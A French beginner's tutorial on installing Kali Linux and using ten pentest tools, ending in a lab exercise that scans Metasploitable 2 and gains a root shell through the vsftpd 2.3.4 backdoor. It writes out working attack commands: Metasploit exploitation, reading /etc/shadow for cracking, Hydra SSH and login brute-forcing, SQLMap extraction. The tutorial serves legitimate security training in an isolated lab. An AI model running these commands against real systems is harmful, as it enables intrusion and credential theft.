Kali Linux pour débutants : Installation, outils et premier hack

Apprenez Kali Linux depuis zéro avec ce tutoriel pour débutants. Installez sur VirtualBox, explorez les 10 outils principaux et réalisez votre premier test de pénétration sur Metasploitable.
- Offense
- Pentesting
- Skills
- Mindset
- Confidence
TL;DR
Kali Linux est la distribution standard de l'industrie pour les tests de pénétration, préchargée avec plus de 600 outils de sécurité utilisés par les hackers éthiques et les professionnels de la sécurité dans le monde entier. Ce tutoriel guide les débutants à travers l'installation de Kali sur VirtualBox, la navigation dans l'environnement de bureau, la compréhension des 10 outils essentiels et la réalisation d'un premier exercice pratique en scannant une machine virtuelle Metasploitable. Aucune expérience préalable de Linux n'est requise, juste de la curiosité et la volonté d'apprendre en faisant.
C'était la veille de la première compétition Capture the Flag de son université, et Priya avait un problème. Elle avait étudié la théorie des réseaux pendant des mois, mémorisé le modèle OSI et pouvait réciter les règles de pare-feu de mémoire. Mais elle n'avait jamais réellement scanné un réseau, jamais intercepté un paquet, jamais exploité un service vulnérable. Son coéquipier lui tendit une clé USB et dit : « Démarre dessus. Elle a tout ce qu'il te faut. »
Cette clé USB contenait Kali Linux. En deux heures, Priya avait découvert des ports ouverts sur le serveur d'entraînement, identifié une application web mal configurée et utilisé une injection SQL pour capturer son premier drapeau. Elle termina troisième de la compétition le lendemain. Pas parce qu'elle était devenue experte du jour au lendemain, mais parce que Kali lui avait donné les outils pour transformer la théorie en pratique.
Cette transformation, de savoir des choses sur la sécurité à réellement faire de la sécurité, c'est ce que Kali Linux permet. Et cela commence par l'installation.
Qu'est-ce que Kali Linux et pourquoi c'est important
Kali Linux est une distribution Linux basée sur Debian conçue spécifiquement pour les tests de pénétration, la recherche en sécurité et l'investigation numérique. Maintenue par OffSec (l'organisation derrière la certification OSCP), Kali est livrée avec plus de 600 outils de sécurité préinstallés organisés en catégories : collecte d'informations, analyse de vulnérabilités, test d'applications web, attaques de mots de passe, attaques sans fil, exploitation et investigation numérique.
Ce qui rend Kali différent de l'installation d'outils individuels sur Ubuntu ou Fedora, c'est l'intégration. Chaque outil est préconfiguré, les dépendances sont résolues et l'ensemble du système est construit autour du flux de travail d'un professionnel de la sécurité. Le noyau inclut des correctifs pour l'injection sans fil. Les dépôts contiennent des versions d'outils testées pour la compatibilité. L'environnement utilisateur par défaut est configuré pour les tests de pénétration, pas pour la productivité bureautique.
Plus de 80 % des testeurs de pénétration professionnels utilisent Kali comme leur distribution de test principale. Quand les offres d'emploi mentionnent « maîtrise des outils de sécurité standard de l'industrie », elles font presque toujours référence aux outils livrés avec Kali. Quand des examens de certification comme l'OSCP vous fournissent un environnement de test, il fonctionne sous Kali.
Ce n'est pas un jouet. C'est une boîte à outils professionnelle. Et c'est entièrement gratuit.
Installer Kali Linux sur VirtualBox
Exécuter Kali dans une machine virtuelle est l'approche la plus sûre et la plus pratique pour les débutants. Vous gardez votre système d'exploitation principal intact, vous pouvez prendre des snapshots avant des expériences risquées et vous pouvez supprimer l'environnement entier et repartir de zéro si quelque chose tourne mal.
Étape 1 : Télécharger et installer VirtualBox
Téléchargez VirtualBox depuis virtualbox.org. Choisissez le paquet pour votre système d'exploitation hôte (Windows, macOS ou Linux) et suivez l'installateur. Acceptez les paramètres par défaut. L'installation prend environ cinq minutes.
Étape 2 : Télécharger l'image Kali Linux
Visitez kali.org/get-kali et téléchargez l'image préconstruite pour VirtualBox. C'est un fichier .ova qui contient une installation Kali entièrement configurée. Le téléchargement fait environ 3,5 Go.
Utiliser l'image préconstruite plutôt que l'installateur ISO fait gagner un temps considérable. L'OVA est livré avec les VirtualBox Guest Additions déjà installées, ce qui signifie que le presse-papiers partagé, le transfert de fichiers par glisser-déposer et le redimensionnement automatique de l'écran fonctionnent immédiatement.
Étape 3 : Importer l'image
Ouvrez VirtualBox, cliquez sur Fichier > Importer un appareil virtuel, sélectionnez le fichier .ova téléchargé et cliquez sur Importer. Avant de démarrer la machine, ajustez ces paramètres :
System > Motherboard > Base Memory: 4096 MB (minimum 2048)
System > Processor > CPU: 2 cores
Display > Screen > Video Memory: 128 MB
Network > Adapter 1 > Attached to: NAT
Le paramètre réseau NAT donne à votre VM Kali un accès internet via votre machine hôte tout en la gardant isolée de votre réseau local. C'est important pour l'expérimentation en toute sécurité.
Étape 4 : Premier démarrage
Démarrez la machine virtuelle. Kali affiche un écran de connexion. Les identifiants par défaut pour l'image préconstruite sont :
Username: kali
Password: kali
Après la connexion, ouvrez un terminal (l'icône rectangle noir dans la barre des tâches) et mettez à jour le système :
sudo apt update && sudo apt upgrade -y
Cela garantit que tous les outils sont à leurs dernières versions. La mise à jour peut prendre 10 à 20 minutes selon votre connexion internet.
Naviguer dans le bureau Kali
Kali utilise l'environnement de bureau Xfce par défaut. Il est léger et rapide, ce qui compte quand vous fonctionnez dans une VM. Les éléments clés sont :
Le panneau supérieur contient le menu Applications (organisé par catégorie de sécurité), le sélecteur d'espaces de travail et la zone de notification. Le panneau inférieur affiche vos fenêtres ouvertes. Le bureau est intentionnellement minimal car la plupart du travail se fait dans le terminal.
Ouvrez le menu Applications et explorez les catégories. 01 Information Gathering contient les outils de reconnaissance. 05 Password Attacks contient les utilitaires de cracking. 09 Sniffing & Spoofing inclut les outils d'interception réseau. Cette organisation correspond aux phases d'un test de pénétration, de la reconnaissance à l'exploitation puis au rapport.
Le gestionnaire de fichiers, le navigateur web (Firefox ESR) et l'éditeur de texte (Mousepad) se trouvent dans la catégorie Usual Applications. Vous utiliserez Firefox fréquemment pour les tests d'applications web aux côtés de Burp Suite.
Les 10 outils Kali Linux que tout débutant doit connaître
Kali est livré avec des centaines d'outils, mais maîtriser ces dix couvre les fondamentaux du hacking éthique. Chacun correspond à une phase spécifique d'un test de pénétration.
1. Nmap (Network Mapper)
Nmap est l'outil de reconnaissance le plus important en cybersécurité. Il découvre les hôtes sur un réseau, identifie les ports ouverts, détecte les services en cours d'exécution et leurs versions, et peut même identifier les systèmes d'exploitation.
# Basic scan of a target
nmap 192.168.1.100
# Service version detection
nmap -sV 192.168.1.100
# Operating system detection (requires root)
sudo nmap -O 192.168.1.100
# Aggressive scan: OS detection, version, scripts, traceroute
sudo nmap -A 192.168.1.100
Nmap peut scanner les 65 535 ports TCP d'une cible réseau locale en moins de 60 secondes en mode scan SYN (-sS). C'est le premier outil que vous exécutez à chaque mission car vous ne pouvez pas attaquer ce que vous ne pouvez pas voir.
2. Burp Suite (test d'applications web)
Burp Suite est un proxy d'interception qui se place entre votre navigateur et une application web. Il capture chaque requête et réponse HTTP, vous permettant d'inspecter, modifier et rejouer le trafic. La Community Edition est préinstallée sur Kali.
Lancez-le depuis Applications > 03 Web Application Analysis > Burp Suite. Configurez Firefox pour acheminer le trafic via le proxy de Burp (127.0.0.1:8080), et chaque requête web devient visible et modifiable. C'est ainsi que vous trouvez les injections SQL, le cross-site scripting et les contournements d'authentification dans les applications web.
3. Metasploit Framework
Metasploit est le framework d'exploitation le plus utilisé au monde. Il contient une base de données d'exploits connus pour les systèmes d'exploitation, services et applications. Vous sélectionnez une vulnérabilité cible, configurez l'exploit, choisissez un payload (le code qui s'exécute après l'exploitation) et exécutez.
# Launch the Metasploit console
msfconsole
# Search for exploits targeting a specific service
search vsftpd
# Use an exploit
use exploit/unix/ftp/vsftpd_234_backdoor
# Set the target
set RHOSTS 192.168.1.100
# Execute
exploit
Metasploit transforme les vulnérabilités théoriques en impact démontré. Quand un client demande « cette vulnérabilité est-elle vraiment grave ? » Metasploit fournit la réponse.
4. John the Ripper (cracking de mots de passe)
John the Ripper casse les hachages de mots de passe en utilisant des attaques par dictionnaire, par force brute et des méthodes hybrides. Quand vous extrayez des hachages de mots de passe d'un système compromis, John détermine les mots de passe originaux.
# Crack Linux shadow file hashes
sudo unshadow /etc/passwd /etc/shadow > hashes.txt
john hashes.txt
# Use a specific wordlist
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
# Show cracked passwords
john --show hashes.txt
La wordlist rockyou.txt est livrée avec Kali et contient plus de 14 millions de vrais mots de passe provenant d'une fuite de données de 2009. Elle casse un pourcentage surprenant de mots de passe dans la plupart des missions, ce qui montre exactement pourquoi les politiques de mots de passe robustes comptent.
5. Aircrack-ng (audit sans fil)
Aircrack-ng est une suite d'outils pour tester la sécurité des réseaux sans fil. Elle capture le trafic sans fil, désauthentifie les clients pour forcer la capture du handshake et casse les clés WPA/WPA2 par attaque par dictionnaire. Les tests sans fil nécessitent un adaptateur sans fil compatible supportant le mode moniteur et l'injection de paquets.
6. SQLMap (automatisation d'injection SQL)
SQLMap automatise la détection et l'exploitation des failles d'injection SQL. Pointez-le vers une URL avec des paramètres et il teste l'injection, identifie le type de base de données et peut extraire tables, colonnes et données.
# Test a URL parameter for SQL injection
sqlmap -u "http://target.com/page?id=1" --dbs
# Enumerate tables in a specific database
sqlmap -u "http://target.com/page?id=1" -D database_name --tables
7. Hydra (attaques de mots de passe en ligne)
Hydra effectue des attaques par force brute en ligne contre des services réseau : SSH, FTP, HTTP, SMB, RDP et des dizaines d'autres. Contrairement à John the Ripper qui casse des hachages hors ligne, Hydra tente de véritables connexions contre des services actifs.
# Brute force SSH login
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100
# Brute force web login form
hydra -l admin -P passwords.txt 192.168.1.100 http-post-form \
"/login:user=^USER^&pass=^PASS^:Invalid credentials"
8. Wireshark (analyse de paquets)
Wireshark capture et analyse le trafic réseau au niveau des paquets. Il vous montre exactement quelles données traversent le réseau : requêtes DNS, requêtes HTTP, tentatives d'authentification et transferts de fichiers. Dans Kali, il s'intègre avec d'autres outils pour offrir une visibilité sur ce à quoi ressemblent vos attaques sur le réseau.
9. Nikto (scanner de serveur web)
Nikto scanne les serveurs web à la recherche de vulnérabilités connues, de mauvaises configurations et de logiciels obsolètes. Il vérifie les fichiers dangereux, les installations par défaut et les en-têtes de serveur non sécurisés.
# Scan a web server
nikto -h http://192.168.1.100
Nikto est bruyant. Il génère des centaines de requêtes et est facilement détecté par les systèmes de détection d'intrusion. Cela le rend inadapté aux missions furtives mais excellent pour la découverte complète de vulnérabilités dans les tests autorisés.
10. Gobuster (force brute de répertoires)
Gobuster découvre les répertoires et fichiers cachés sur les serveurs web en forçant les chemins à l'aide d'une wordlist. Les applications web contiennent souvent des panneaux d'administration, des fichiers de sauvegarde, des endpoints de configuration et des artefacts de développement qui ne sont pas liés depuis l'interface publique mais restent accessibles.
# Enumerate directories
gobuster dir -u http://192.168.1.100 -w /usr/share/wordlists/dirb/common.txt
# Enumerate with file extensions
gobuster dir -u http://192.168.1.100 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt
Votre premier exercice pratique : Scanner Metasploitable
La théorie ne mène que jusqu'à un certain point. La façon la plus rapide d'apprendre Kali est de l'utiliser contre un système conçu pour être piraté. Metasploitable 2 est une machine virtuelle Linux délibérément vulnérable créée par Rapid7. Elle contient plus de 30 services mal configurés, des mots de passe faibles et des applications exploitables, le tout dans un environnement sûr et isolé.
Configurer Metasploitable
Téléchargez Metasploitable 2 depuis VulnHub ou SourceForge. Il se présente sous forme de fichier .vmdk. Créez une nouvelle VM dans VirtualBox :
- Cliquez sur New, nommez-la « Metasploitable », sélectionnez Linux / Ubuntu (64-bit)
- Assignez 512 Mo de RAM (elle en a très peu besoin)
- Sélectionnez Use an existing virtual hard disk file et choisissez le
.vmdktéléchargé - Avant de démarrer, changez l'adaptateur réseau en Host-only Adapter
Changez l'adaptateur réseau de votre VM Kali pour le même Host-only Adapter. Cela crée un réseau isolé où les deux machines peuvent communiquer sans exposer Metasploitable à internet. Ne connectez jamais Metasploitable à un vrai réseau. Ses vulnérabilités sont intentionnelles et graves.
Démarrez Metasploitable (login : msfadmin / msfadmin) et notez son adresse IP :
ifconfig
Lancer votre premier scan
De retour dans votre terminal Kali, commencez par la découverte d'hôte pour confirmer que vous pouvez atteindre la cible :
ping -c 4 <metasploitable-ip>
Lancez maintenant un scan Nmap complet :
sudo nmap -sV -sC -O <metasploitable-ip>
Les drapeaux signifient : -sV détecte les versions des services, -sC exécute les scripts NSE par défaut pour une énumération supplémentaire, et -O tente l'identification du système d'exploitation. La sortie révélera des dizaines de ports ouverts et de services en cours d'exécution :
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1
23/tcp open telnet Linux telnetd
80/tcp open http Apache httpd 2.2.8
445/tcp open netbios-ssn Samba smbd 3.X
3306/tcp open mysql MySQL 5.0.51a
...
Chaque port ouvert représente une surface d'attaque. La version vsftpd 2.3.4 est particulièrement notable car elle contient une célèbre vulnérabilité de porte dérobée. Les versions obsolètes de SSH, Apache et MySQL ont toutes des exploits connus.
Explorer l'application web vulnérable
Ouvrez Firefox dans Kali et naviguez vers http://<metasploitable-ip>. Vous verrez une page listant plusieurs applications web intentionnellement vulnérables, dont DVWA (Damn Vulnerable Web Application), Mutillidae et TWiki.
Exécutez Nikto contre le serveur web :
nikto -h http://<metasploitable-ip>
Puis utilisez Gobuster pour trouver les répertoires cachés :
gobuster dir -u http://<metasploitable-ip> -w /usr/share/wordlists/dirb/common.txt
Comparez ce que Gobuster trouve avec ce qui est lié sur la page principale. Vous découvrirez probablement des répertoires et fichiers qui n'étaient pas listés publiquement. C'est la valeur fondamentale de la force brute de répertoires : trouver ce que les développeurs avaient l'intention de cacher mais n'ont pas réussi à protéger.
Tenter votre premier exploit
Avec les résultats Nmap montrant vsftpd 2.3.4 sur le port 21, lancez Metasploit :
msfconsole
Recherchez un exploit connu :
search vsftpd
Metasploit retournera le module exploit/unix/ftp/vsftpd_234_backdoor. Cet exploit cible une porte dérobée insérée dans le code source de vsftpd 2.3.4 en 2011. Configurez-le et exécutez-le :
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS <metasploitable-ip>
exploit
Si l'exploit réussit, vous aurez un shell de commande sur le système cible. Tapez whoami et vous verrez root. Vous venez de réaliser la compromission totale d'un système sur votre première cible. Prenez un moment pour apprécier ce qui s'est passé : vous avez identifié un service, trouvé une vulnérabilité connue, sélectionné un exploit et obtenu un accès non autorisé. C'est ce que les testeurs de pénétration font professionnellement, sauf qu'ils le font avec autorisation puis aident les organisations à corriger les faiblesses qu'ils découvrent.
Construire votre laboratoire de pratique
Metasploitable n'est que le début. Une fois à l'aise avec le scan et l'exploitation de base, élargissez votre laboratoire avec des machines vulnérables supplémentaires de VulnHub. Commencez par les machines classées « Easy » et progressez. Chaque machine enseigne des compétences différentes : exploitation d'applications web, escalade de privilèges, cracking de mots de passe ou pivotement réseau.
Votre laboratoire de pratique doit toujours être isolé sur un réseau host-only. Ne connectez jamais des machines intentionnellement vulnérables à votre réseau domestique ou à internet. Les vulnérabilités sont réelles, et une machine Metasploitable exposée sera compromise par des scanners automatisés en quelques minutes.
Du laboratoire à la carrière
Kali Linux est un moyen, pas une fin. Les outils vous enseignent la pensée de sécurité offensive : comment les attaquants trouvent les faiblesses, enchaînent les exploits et se déplacent à travers les réseaux. Ces connaissances sont précieuses que vous finissiez du côté offensif (tests de pénétration, red teaming) ou défensif (analyse SOC, réponse aux incidents, sécurité réseau).
Le chemin de votre premier scan Nmap à une carrière en cybersécurité suit un schéma. Maîtrisez les bases dans votre laboratoire domestique. Documentez votre apprentissage à travers des write-ups et des articles de blog. Poursuivez une formation structurée qui comble les lacunes. Obtenez des certifications qui valident vos compétences. L'OSCP d'OffSec, qui évalue les candidats dans un examen pratique de 24 heures utilisant les outils Kali Linux, est largement considéré comme la référence pour les testeurs de pénétration.
Chaque pentester professionnel se souvient du moment où son premier exploit a réussi. Le moment où le terminal a renvoyé root@metasploitable. Ce mélange d'excitation et de « attendez, c'était si facile ? » est exactement le sentiment qui pousse les gens à consacrer leur carrière à trouver et corriger ces faiblesses avant que les acteurs malveillants ne le fassent.
Votre VM Kali attend. Ouvrez-la. Scannez quelque chose. Cassez quelque chose. Puis trouvez comment vous défendre contre ce que vous venez de faire. C'est ainsi que les professionnels de la cybersécurité se forment.
Fondateur d'Unihackers
Une décennie à défendre des compagnies aériennes, des SOC et des organisations internationales
Daute a fondé Unihackers après une décennie passée à défendre des compagnies aériennes, des SOC managés et des organisations internationales. Il est Associate C|CISO et voix régulière sur l'IA et la cybersécurité dans les médias internationaux. Silver Winner aux Cyber Security Excellence Awards 2021. Il enseigne comme il aurait voulu apprendre lui-même : sans bruit, sur ce que les attaquants font vraiment, pour former des professionnels utiles dès le premier jour.
Voir le profilPrêt à lancer votre carrière en cybersécurité ?
Rejoignez des centaines de professionnels qui se sont reconvertis en cybersécurité avec notre programme pratique.

